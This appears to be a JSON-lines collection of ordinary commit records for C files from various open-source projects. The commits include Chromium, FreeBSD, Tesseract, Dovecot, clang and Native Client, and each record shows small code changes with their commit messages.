{"commit":"842aca0623cbfe63d732996a2245e57982bf1d19","old_file":"tests\/regression\/23-partitioned_arrays_last\/12-advantage_for_last.c","new_file":"tests\/regression\/23-partitioned_arrays_last\/12-advantage_for_last.c","old_contents":"","new_contents":"\/\/ PARAM: --sets solver td3 --enable ana.int.interval --disable ana.int.trier --disable exp.fast_global_inits  --sets exp.partition-arrays.keep-expr \"last\" --enable exp.partition-arrays.enabled --set ana.activated \"['base','expRelation','octagon']\"\nvoid main(void) {\n  example1();\n}\n\nvoid example1(void) {\n    int a[42];\n    a[40] = 2;\n    int i = 0;\n\n    while(i < 41) {\n        a[i] = 0;\n        i++;\n    }\n\n    assert(a[2] == 0);\n    assert(a[3] == 0);\n}\n","subject":"Add example where it is better to keep last expression","message":"Array: Add example where it is better to keep last expression\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"204cd8ac785d45c5fd3a45b019a489ffc408398e","old_file":"kernel\/cwos.c","new_file":"kernel\/cwos.c","old_contents":"#include <uart.h>\n#include <irq.h>\n\n\n\nvoid cwos_boot() \n{\n\tuart_init();\n\n\tuart0_send(\"Hello CWOS World\\n\");\n\n\tirq_enable();\n\n\ttrigger_swi();\n\n\twhile (1) {\n\t}\n}\n","new_contents":"#include <uart.h>\n#include <irq.h>\n\n\n\nvoid cwos_boot() \n{\n\tuart_init();\n\n\tuart0_send(\"Hello CWOS World\\n\");\n\tuart0_send(\"Press any key to see echo:\\n\");\n\n\tirq_enable();\n\n\twhile (1) {\n\t}\n}\n","subject":"Update CWOS boot welcome messages","message":"Update CWOS boot welcome messages\n","lang":"C","license":"mit","repos":"waynecw\/cwos,waynecw\/cwos"}
{"commit":"fb1702cc9197a0a0c2792a86a3cdaa774ec03455","old_file":"chrome\/browser\/chromeos\/login\/mock_user_manager.h","new_file":"chrome\/browser\/chromeos\/login\/mock_user_manager.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#define CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#pragma once\n\n#include <string>\n#include <vector>\n\n#include \"chrome\/browser\/chromeos\/login\/user_manager.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUserManager : public UserManager {\n public:\n  MockUserManager() {}\n  virtual ~MockUserManager() {}\n\n  MOCK_CONST_METHOD0(GetUsers, std::vector<User>());\n  MOCK_METHOD0(OffTheRecordUserLoggedIn, void());\n  MOCK_METHOD1(UserLoggedIn, void(const std::string&));\n  MOCK_METHOD1(RemoveUser, void(const std::string&));\n  MOCK_METHOD1(IsKnownUser, bool(const std::string&));\n  MOCK_CONST_METHOD0(logged_in_user, const User&());\n  MOCK_METHOD0(current_user_is_owner, bool());\n  MOCK_METHOD1(set_current_user_is_owner, void(bool));\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#define CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n#pragma once\n\n#include <string>\n#include <vector>\n\n#include \"chrome\/browser\/chromeos\/login\/user_manager.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUserManager : public UserManager {\n public:\n  MockUserManager() {}\n  virtual ~MockUserManager() {}\n\n  MOCK_CONST_METHOD0(GetUsers, std::vector<User>());\n  MOCK_METHOD0(OffTheRecordUserLoggedIn, void());\n  MOCK_METHOD1(UserLoggedIn, void(const std::string&));\n  MOCK_METHOD2(RemoveUser, void(const std::string&, RemoveUserDelegate*));\n  MOCK_METHOD1(IsKnownUser, bool(const std::string&));\n  MOCK_CONST_METHOD0(logged_in_user, const User&());\n  MOCK_CONST_METHOD0(current_user_is_owner, bool());\n  MOCK_METHOD1(set_current_user_is_owner, void(bool));\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_LOGIN_MOCK_USER_MANAGER_H_\n","subject":"Fix clang warning in tests for Chrome OS","message":"Fix clang warning in tests for Chrome OS\n\nBUG=none\nTEST=build with clang and gcc\n\nReview URL: http:\/\/codereview.chromium.org\/7002028\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@84970 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium"}
{"commit":"37f3968096b6f326b3d6f54e8d805677665602aa","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"\/**\n*\n* Copyright (C) Tyler Hackett 2016\n*\n* CUDA Triangle Counter\n*\n* A quickly-written program to determine all possible combinations of\n* valid triangles from a grid, allowing for certain coordinates of the\n* grid to be marked as unusable.\n*\n* main.h\n*\n* *\/\n\n#define GRID_WIDTH 4\n#define GRID_HEIGHT 4\n\nconst uint2 h_invalidPoints[] = { { 0, 0 } };\n\n__global__ void countTriangles(uint2 *validPoints, int *count);\n\nbool isInvalidPoint(uint2 p);\n","new_contents":"\/**\n*\n* Copyright (C) Tyler Hackett 2016\n*\n* CUDA Triangle Counter\n*\n* A quickly-written program to determine all possible combinations of\n* valid triangles from a grid, allowing for certain coordinates of the\n* grid to be marked as unusable.\n*\n* main.h\n*\n* *\/\n\n#define GRID_WIDTH 4\n#define GRID_HEIGHT 4\n\nconst uint2 h_invalidPoints[] = { { 0, 0 }, { 0, 3 }, { 3, 0 }, { 3, 3 } };\n\n__global__ void countTriangles(uint2 *validPoints, int *count);\n\nbool isInvalidPoint(uint2 p);\n","subject":"Set up parameters to coincide with Java counterpart","message":"Set up parameters to coincide with Java counterpart\n","lang":"C","license":"mit","repos":"ByteSyze\/CudaTriangleCounter"}
{"commit":"35f852e50e1556fc79175dcaa62360c97981f038","old_file":"src\/io\/network\/socketBase.h","new_file":"src\/io\/network\/socketBase.h","old_contents":"#ifndef SP2_IO_NETWORK_SOCKET_BASE_H\n#define SP2_IO_NETWORK_SOCKET_BASE_H\n\n#include <io\/network\/socketBase.h>\n#include <SFML\/System\/NonCopyable.hpp>\n\n\nnamespace sp {\nnamespace io {\nnamespace network {\n\n\nclass SocketBase : sf::NonCopyable\n{\npublic:\n    void setBlocking(bool blocking);\n    void setNoDelay(bool no_delay);\n    void setTimeout(int milliseconds);\n\nprotected:\n    bool isLastErrorNonBlocking();\n\n    int handle = -1;\n    bool blocking = true;\n    \n    friend class Selector;\n};\n\n}\/\/namespace network\n}\/\/namespace io\n}\/\/namespace sp\n\n#endif\/\/SP2_IO_NETWORK_SOCKET_BASE_H\n","new_contents":"#ifndef SP2_IO_NETWORK_SOCKET_BASE_H\n#define SP2_IO_NETWORK_SOCKET_BASE_H\n\n#include <io\/network\/socketBase.h>\n#include <SFML\/System\/NonCopyable.hpp>\n\n\nnamespace sp {\nnamespace io {\nnamespace network {\n\n\nclass SocketBase : sf::NonCopyable\n{\npublic:\n    void setBlocking(bool blocking);\n    void setTimeout(int milliseconds);\n\nprotected:\n    bool isLastErrorNonBlocking();\n\n    int handle = -1;\n    bool blocking = true;\n    \n    friend class Selector;\n};\n\n}\/\/namespace network\n}\/\/namespace io\n}\/\/namespace sp\n\n#endif\/\/SP2_IO_NETWORK_SOCKET_BASE_H\n","subject":"Reduce jitter on network communication by enabling NO_DELAY, but still make large packets within a update cycle.","message":"Reduce jitter on network communication by enabling NO_DELAY, but still make large packets within a update cycle.\n","lang":"C","license":"mit","repos":"daid\/SeriousProton,daid\/SeriousProton,daid\/SeriousProton,daid\/SeriousProton,daid\/SeriousProton,daid\/SeriousProton"}
{"commit":"c878414354902f7800675ee0bf31d10892400a81","old_file":"sys\/kern\/stack_protector.c","new_file":"sys\/kern\/stack_protector.c","old_contents":"#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <sys\/types.h>\n#include <sys\/param.h>\n#include <sys\/kernel.h>\n#include <sys\/systm.h>\n#include <sys\/libkern.h>\n\n#if defined(__SSP__) || defined(__SSP_ALL__)\nlong __stack_chk_guard[8] = {};\nvoid __stack_chk_fail(void);\n\nvoid\n__stack_chk_fail(void)\n{\n\n\tpanic(\"stack overflow detected; backtrace may be corrupted\");\n}\n\n#define __arraycount(__x)\t(sizeof(__x) \/ sizeof(__x[0]))\nstatic void\n__stack_chk_init(void *dummy __unused)\n{\n\tsize_t i;\n\tlong guard[__arraycount(__stack_chk_guard)];\n\n\tarc4rand(guard, sizeof(guard), 0);\n\tfor (i = 0; i < __arraycount(guard); i++)\n\t\t__stack_chk_guard[i] = guard[i];\n}\n\/* SI_SUB_EVENTHANDLER is right after SI_SUB_LOCK used by arc4rand() init. *\/\nSYSINIT(stack_chk, SI_SUB_EVENTHANDLER, SI_ORDER_ANY, __stack_chk_init, NULL);\n\n#endif\n","new_contents":"#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <sys\/types.h>\n#include <sys\/param.h>\n#include <sys\/kernel.h>\n#include <sys\/systm.h>\n#include <sys\/libkern.h>\n\nlong __stack_chk_guard[8] = {};\nvoid __stack_chk_fail(void);\n\nvoid\n__stack_chk_fail(void)\n{\n\n\tpanic(\"stack overflow detected; backtrace may be corrupted\");\n}\n\n#define __arraycount(__x)\t(sizeof(__x) \/ sizeof(__x[0]))\nstatic void\n__stack_chk_init(void *dummy __unused)\n{\n\tsize_t i;\n\tlong guard[__arraycount(__stack_chk_guard)];\n\n\tarc4rand(guard, sizeof(guard), 0);\n\tfor (i = 0; i < __arraycount(guard); i++)\n\t\t__stack_chk_guard[i] = guard[i];\n}\n\/* SI_SUB_EVENTHANDLER is right after SI_SUB_LOCK used by arc4rand() init. *\/\nSYSINIT(stack_chk, SI_SUB_EVENTHANDLER, SI_ORDER_ANY, __stack_chk_init, NULL);\n","subject":"Fix a chicken-and-egg problem: this files implements SSP support, so we cannot compile it with -fstack-protector[-all] flags (or it will self-recurse); this is ensured in sys\/conf\/files. This OTOH means that checking for defines __SSP__ and __SSP_ALL__ to determine if we should be compiling the support is impossible (which it was trying, resulting in an empty object file). Fix this by always compiling the symbols in this files. It's good because it allows us to always have SSP support, and then compile with SSP selectively.","message":"Fix a chicken-and-egg problem: this files implements SSP support,\nso we cannot compile it with -fstack-protector[-all] flags (or\nit will self-recurse); this is ensured in sys\/conf\/files.  This\nOTOH means that checking for defines __SSP__ and __SSP_ALL__ to\ndetermine if we should be compiling the support is impossible\n(which it was trying, resulting in an empty object file).  Fix\nthis by always compiling the symbols in this files.  It's good\nbecause it allows us to always have SSP support, and then compile\nwith SSP selectively.\n\nRepoted by:\ttinderbox\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"209fb5332115499f76f347fdb5a376ba1d9deea3","old_file":"test\/test_chip8.c","new_file":"test\/test_chip8.c","old_contents":"","new_contents":"#include <assert.h>\n#include \"..\/src\/chip8.c\"\n\nvoid test_clear_screen(void) {\n  int i;\n  chip8_t * chip8 = chip8_new();\n\n  chip8->memory[0x200] = 0x00;\n  chip8->memory[0x201] = 0xE0;\n\n  chip8_fetch_current_opcode(chip8);\n  chip8_decode_current_opcode(chip8);\n\n  i = 0;\n  while (i < 64 * 32) {\n    assert(chip8->memory[i++] == 0);\n  }\n}\n\nint main(int argc, char ** argv) {\n  test_clear_screen();\n}\n","subject":"Add test for 0x00E0 (clear screen)","message":"Add test for 0x00E0 (clear screen)\n","lang":"C","license":"mit","repos":"gsamokovarov\/chip8.c,gsamokovarov\/chip8.c"}
{"commit":"71bddbf5bdb5c90bd041e8e126d75e15001a62a7","old_file":"OrbitCore\/Profiling.h","new_file":"OrbitCore\/Profiling.h","old_contents":"\/\/-----------------------------------\n\/\/ Copyright Pierric Gimmig 2013-2017\n\/\/-----------------------------------\n#pragma once\n\n#include \"BaseTypes.h\"\n#include \"Platform.h\"\n#include \"Utils.h\"\n\n\/\/-----------------------------------------------------------------------------\ntypedef uint64_t TickType;\n\n\/\/-----------------------------------------------------------------------------\n#ifdef _WIN32\ninline void clock_gettime(uint32_t, struct timespec* spec) {\n  __int64 time;\n  GetSystemTimeAsFileTime((FILETIME*)&time);\n  spec->tv_sec = time \/ 10000000i64;\n  spec->tv_nsec = time % 10000000i64 * 100;\n}\n#endif\n\n\/\/-----------------------------------------------------------------------------\ninline TickType OrbitTicks(uint32_t a_Clock = 0 \/*CLOCK_REALTIME*\/) {\n  timespec ts;\n  clock_gettime(a_Clock, &ts);\n  return 1000000000ll * ts.tv_sec + ts.tv_nsec;\n}\n\n\/\/-----------------------------------------------------------------------------\ninline double MicroSecondsFromTicks(TickType a_Start, TickType a_End) {\n  return double((a_End - a_Start)) * 0.001;\n}\n\n\/\/-----------------------------------------------------------------------------\ninline TickType TicksFromMicroseconds(double a_Micros) {\n  return (TickType)(a_Micros * 1000);\n}\n","new_contents":"\/\/-----------------------------------\n\/\/ Copyright Pierric Gimmig 2013-2017\n\/\/-----------------------------------\n#pragma once\n\n#include \"BaseTypes.h\"\n#include \"Platform.h\"\n#include \"Utils.h\"\n\n\/\/-----------------------------------------------------------------------------\ntypedef uint64_t TickType;\n\n\/\/-----------------------------------------------------------------------------\n#ifdef _WIN32\ninline void clock_gettime(uint32_t, struct timespec* spec) {\n  __int64 time;\n  GetSystemTimeAsFileTime((FILETIME*)&time);\n  spec->tv_sec = time \/ 10000000i64;\n  spec->tv_nsec = time % 10000000i64 * 100;\n}\n#endif\n\n\/\/-----------------------------------------------------------------------------\ninline TickType OrbitTicks(uint32_t a_Clock = 1 \/*CLOCK_MONOTONIC*\/) {\n  timespec ts;\n  clock_gettime(a_Clock, &ts);\n  return 1000000000ll * ts.tv_sec + ts.tv_nsec;\n}\n\n\/\/-----------------------------------------------------------------------------\ninline double MicroSecondsFromTicks(TickType a_Start, TickType a_End) {\n  return double((a_End - a_Start)) * 0.001;\n}\n\n\/\/-----------------------------------------------------------------------------\ninline TickType TicksFromMicroseconds(double a_Micros) {\n  return (TickType)(a_Micros * 1000);\n}\n","subject":"Use CLOCK_MONOTONIC as default timer clock to align with kenel events.","message":"Use CLOCK_MONOTONIC as default timer clock to align with kenel events.\n","lang":"C","license":"bsd-2-clause","repos":"pierricgimmig\/orbitprofiler,pierricgimmig\/orbitprofiler,pierricgimmig\/orbitprofiler,pierricgimmig\/orbitprofiler,google\/orbit,google\/orbit,google\/orbit,google\/orbit"}
{"commit":"3c9e03bda57d33097b19eef1dbb06bc5b2876551","old_file":"test\/Sema\/format-string-percentm.c","new_file":"test\/Sema\/format-string-percentm.c","old_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s -triple i686-pc-linux-gnu\n\nint printf(char const*,...);\nvoid percentm(void) {\n  printf(\"%m\");\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s -triple i686-pc-linux-gnu\n\n\/\/ PR 4142 - support glibc extension to printf: '%m' (which prints strerror(errno)).\nint printf(char const*,...);\nvoid percentm(void) {\n  printf(\"%m\");\n}\n","subject":"Add comment to test linking it back to the original Bugzilla PR.","message":"Add comment to test linking it back to the original Bugzilla PR.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@94816 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"532059d32b79e5c560142e4d1de67330361cc5f2","old_file":"examples\/ffi-struct\/struct.c","new_file":"examples\/ffi-struct\/struct.c","old_contents":"struct Inner\n{\n\tint x;\n};\n\nstruct Outer\n{\n\tstruct Inner inner_embed;\n\tstruct Inner* inner_var;\n};\n\nvoid modify_via_outer(struct Outer* s)\n{\n\ts->inner_embed.x = 10;\n\ts->inner_var->x = 15;\n}\n\nvoid modify_inner(struct Inner* s)\n{\n\ts->x = 5;\n}\n","new_contents":"typedef struct Inner\n{\n  int x;\n} Inner;\n\ntypedef struct Outer\n{\n  struct Inner inner_embed;\n  struct Inner* inner_var;\n} Outer;\n\nvoid modify_via_outer(Outer* s)\n{\n  s->inner_embed.x = 10;\n  s->inner_var->x = 15;\n}\n\nvoid modify_inner(Inner* s)\n{\n  s->x = 5;\n}\n","subject":"Fix C file coding style","message":"Fix C file coding style\n","lang":"C","license":"bsd-2-clause","repos":"jupvfranco\/ponyc,cquinn\/ponyc,Theodus\/ponyc,jupvfranco\/ponyc,mkfifo\/ponyc,Praetonus\/ponyc,Theodus\/ponyc,Praetonus\/ponyc,mkfifo\/ponyc,ryanai3\/ponyc,Perelandric\/ponyc,lukecheeseman\/ponyta,kulibali\/ponyc,ryanai3\/ponyc,jupvfranco\/ponyc,malthe\/ponyc,Theodus\/ponyc,ponylang\/ponyc,jupvfranco\/ponyc,dipinhora\/ponyc,mkfifo\/ponyc,Praetonus\/ponyc,sgebbie\/ponyc,dipinhora\/ponyc,sgebbie\/ponyc,Perelandric\/ponyc,CausalityLtd\/ponyc,boemmels\/ponyc,malthe\/ponyc,cquinn\/ponyc,Perelandric\/ponyc,jemc\/ponyc,boemmels\/ponyc,boemmels\/ponyc,boemmels\/ponyc,boemmels\/ponyc,lukecheeseman\/ponyta,Perelandric\/ponyc,jemc\/ponyc,CausalityLtd\/ponyc,mkfifo\/ponyc,ponylang\/ponyc,mkfifo\/ponyc,cquinn\/ponyc,dipinhora\/ponyc,jemc\/ponyc,kulibali\/ponyc,ponylang\/ponyc,Theodus\/ponyc,sgebbie\/ponyc,Theodus\/ponyc,kulibali\/ponyc,doublec\/ponyc,doublec\/ponyc,CausalityLtd\/ponyc,doublec\/ponyc,sgebbie\/ponyc,Praetonus\/ponyc,Perelandric\/ponyc,cquinn\/ponyc,malthe\/ponyc,malthe\/ponyc,lukecheeseman\/ponyta,kulibali\/ponyc,ryanai3\/ponyc,sgebbie\/ponyc,jupvfranco\/ponyc"}
{"commit":"f0337c2d1afb2774e6e58b2084f769d3436e5b1e","old_file":"unittest\/include_gunit.h","new_file":"unittest\/include_gunit.h","old_contents":"\/\/ (C) Copyright 2017, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ Portability include to match the Google test environment.\n#ifndef TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n#define TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n\n#include \"gtest\/gtest.h\"\n\n#endif  \/\/ TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n","new_contents":"\/\/ (C) Copyright 2017, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ Portability include to match the Google test environment.\n\n#ifndef TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n#define TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n\n#include \"gtest\/gtest.h\"\n#include \"errcode.h\"            \/\/ for ASSERT_HOST\n#include \"fileio.h\"             \/\/ for tesseract::File\n\nconst char* FLAGS_test_tmpdir = \".\";\n\nclass file: public tesseract::File {\n};\n\n#define CHECK(test) ASSERT_HOST(test)\n\n#endif  \/\/ TESSERACT_UNITTEST_INCLUDE_GUNIT_H_\n","subject":"Add more portability hacks for Google test environment","message":"Add more portability hacks for Google test environment\n\nSigned-off-by: Stefan Weil <8d4c780fcfdc41841e5070f4c43da8958ba6aec0@weilnetz.de>\n","lang":"C","license":"apache-2.0","repos":"UB-Mannheim\/tesseract,stweil\/tesseract,jbarlow83\/tesseract,jbarlow83\/tesseract,UB-Mannheim\/tesseract,tesseract-ocr\/tesseract,UB-Mannheim\/tesseract,amitdo\/tesseract,stweil\/tesseract,UB-Mannheim\/tesseract,tesseract-ocr\/tesseract,amitdo\/tesseract,amitdo\/tesseract,jbarlow83\/tesseract,tesseract-ocr\/tesseract,UB-Mannheim\/tesseract,tesseract-ocr\/tesseract,jbarlow83\/tesseract,stweil\/tesseract,amitdo\/tesseract,amitdo\/tesseract,stweil\/tesseract,jbarlow83\/tesseract,tesseract-ocr\/tesseract,stweil\/tesseract"}
{"commit":"5b61dafd1ba7e44f39cf73344f2a0b2b8e66064c","old_file":"src\/imap\/cmd-logout.c","new_file":"src\/imap\/cmd-logout.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_logout(struct client *client)\n{\n\tclient_send_line(client, \"* BYE Logging out\");\n\n\tif (client->mailbox != NULL) {\n\t\t\/* this could be done at client_disconnect() as well,\n\t\t   but eg. mbox rewrite takes a while so the waiting is\n\t\t   better to happen before \"OK\" message. *\/\n\t\tmailbox_close(client->mailbox);\n\t\tclient->mailbox = NULL;\n\t}\n\n\tclient_send_tagline(client, \"OK Logout completed.\");\n\tclient_disconnect(client);\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_logout(struct client *client)\n{\n\tclient_send_line(client, \"* BYE Logging out\");\n\to_stream_uncork(client->output);\n\n\tif (client->mailbox != NULL) {\n\t\t\/* this could be done at client_disconnect() as well,\n\t\t   but eg. mbox rewrite takes a while so the waiting is\n\t\t   better to happen before \"OK\" message. *\/\n\t\tmailbox_close(client->mailbox);\n\t\tclient->mailbox = NULL;\n\t}\n\n\tclient_send_tagline(client, \"OK Logout completed.\");\n\tclient_disconnect(client);\n\treturn TRUE;\n}\n","subject":"Send the \"* BYE Logging out\" before closing mailbox.","message":"Send the \"* BYE Logging out\" before closing mailbox.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,LTD-Beget\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,damoxc\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,Distrotech\/dovecot"}
{"commit":"193aa373d84ba155eb0307afa6cd4fecf710d007","old_file":"src\/untrusted\/irt\/irt_tls.c","new_file":"src\/untrusted\/irt\/irt_tls.c","old_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <errno.h>\n\n#include \"native_client\/src\/untrusted\/irt\/irt.h\"\n#include \"native_client\/src\/untrusted\/nacl\/syscall_bindings_trampoline.h\"\n\nstatic int nacl_irt_tls_init(void *thread_ptr) {\n  return -NACL_SYSCALL(tls_init)(thread_ptr);\n}\n\nstatic void *nacl_irt_tls_get(void) {\n  return NACL_SYSCALL(tls_get)();\n}\n\nconst struct nacl_irt_tls nacl_irt_tls = {\n  nacl_irt_tls_init,\n  nacl_irt_tls_get,\n};\n","new_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <errno.h>\n\n#include \"native_client\/src\/untrusted\/irt\/irt.h\"\n#include \"native_client\/src\/untrusted\/nacl\/syscall_bindings_trampoline.h\"\n\nstatic int nacl_irt_tls_init(void *thread_ptr) {\n  return -NACL_SYSCALL(tls_init)(thread_ptr);\n}\n\nconst struct nacl_irt_tls nacl_irt_tls = {\n  nacl_irt_tls_init,\n  NACL_SYSCALL(tls_get),\n};\n","subject":"Reduce the cost of getting the thread pointer by one jump on x86-64","message":"TLS: Reduce the cost of getting the thread pointer by one jump on x86-64\n\nBUG=none\nTEST=run_hello_world_test_irt on x86-64\nR=mcgrathr@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/226643010\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@13045 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client"}
{"commit":"6d0cd228d5ea5ff734f3bc1754d0dfbb93e6d1b4","old_file":"src\/defines.h","new_file":"src\/defines.h","old_contents":"#ifndef XORGGTEST_DEFINES\n#define XORGGTEST_DEFINES\n\n#define DEFAULT_XORG_LOGFILE \"\/tmp\/Xorg.GTest.log\"\n#define DEFAULT_XORG_SERVER \"Xorg\"\n#define DEFAULT_DISPLAY 133\n\n#endif\n","new_contents":"#ifndef XORGGTEST_DEFINES\n#define XORGGTEST_DEFINES\n\n#define DEFAULT_XORG_LOGFILE \"\/tmp\/Xorg.GTest.log\"\n#define DEFAULT_DISPLAY 133\n\n\/* Allow user to override default Xorg server*\/\n#ifndef DEFAULT_XORG_SERVER\n#define DEFAULT_XORG_SERVER \"Xorg\"\n#endif\n\n#endif\n","subject":"Allow user to override default Xorg server binary","message":"Allow user to override default Xorg server binary\n\nThis can be accomplished by compiling xorg-gtest with\n-DDEFAULT_XORG_SERVER=path\/to\/Xorg.\n\nSigned-off-by: Chase Douglas <69e02ec421aa70a149511825d897f2549ceee9a2@canonical.com>\nReviewed-By: Christopher Halse Rogers <f4edbc39080c6cd998e1a8e915acbce7f6e0704a@canonical.com>\n","lang":"C","license":"mit","repos":"freedesktop-unofficial-mirror\/xorg__test__xorg-gtest,freedesktop-unofficial-mirror\/xorg__test__xorg-gtest,freedesktop-unofficial-mirror\/xorg__test__xorg-gtest"}
{"commit":"1ff679378c9fe819fe813c25c657e459a87044a9","old_file":"src\/parse.h","new_file":"src\/parse.h","old_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#ifndef PARSE_H\n#define PARSE_H\n\n#include \"error.h\"\n#include \"expr.h\"\n\n\/\/ ParseResult contains the result of parsing text. The 'expr' field has a\n\/\/ meaningful value if and only if 'err_type' is -1.\nstruct ParseResult {\n\tsize_t chars_read;\n\tstruct Expression expr;\n\tenum ParseErrorType err_type;\n};\n\n\/\/ Parses a string as an s-expression of pairs, symbols, and numbers. On\n\/\/ success, returns the parse result with 'err_type' set to -1. Otherwise,\n\/\/ returns the error type in the parse result.\nstruct ParseResult parse(const char *text);\n\n#endif\n","new_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#ifndef PARSE_H\n#define PARSE_H\n\n#include \"error.h\"\n#include \"expr.h\"\n\n\/\/ ParseResult contains the result of parsing text. The 'expr' field has a\n\/\/ meaningful value if and only if 'err_type' is -1.\nstruct ParseResult {\n\tsize_t chars_read;      \/\/ number of characters read\n\tstruct Expression expr; \/\/ parsed expression\n\tint err_type;           \/\/ -1 or a ParseErrorType value\n};\n\n\/\/ Parses a string as an s-expression of pairs, symbols, and numbers. On\n\/\/ success, returns the parse result with 'err_type' set to -1. Otherwise,\n\/\/ returns a ParseErrorType in the result.\nstruct ParseResult parse(const char *text);\n\n#endif\n","subject":"Use int, not ParseErrorType, to allow -1","message":"Use int, not ParseErrorType, to allow -1\n","lang":"C","license":"mit","repos":"mk12\/eva,mk12\/eva"}
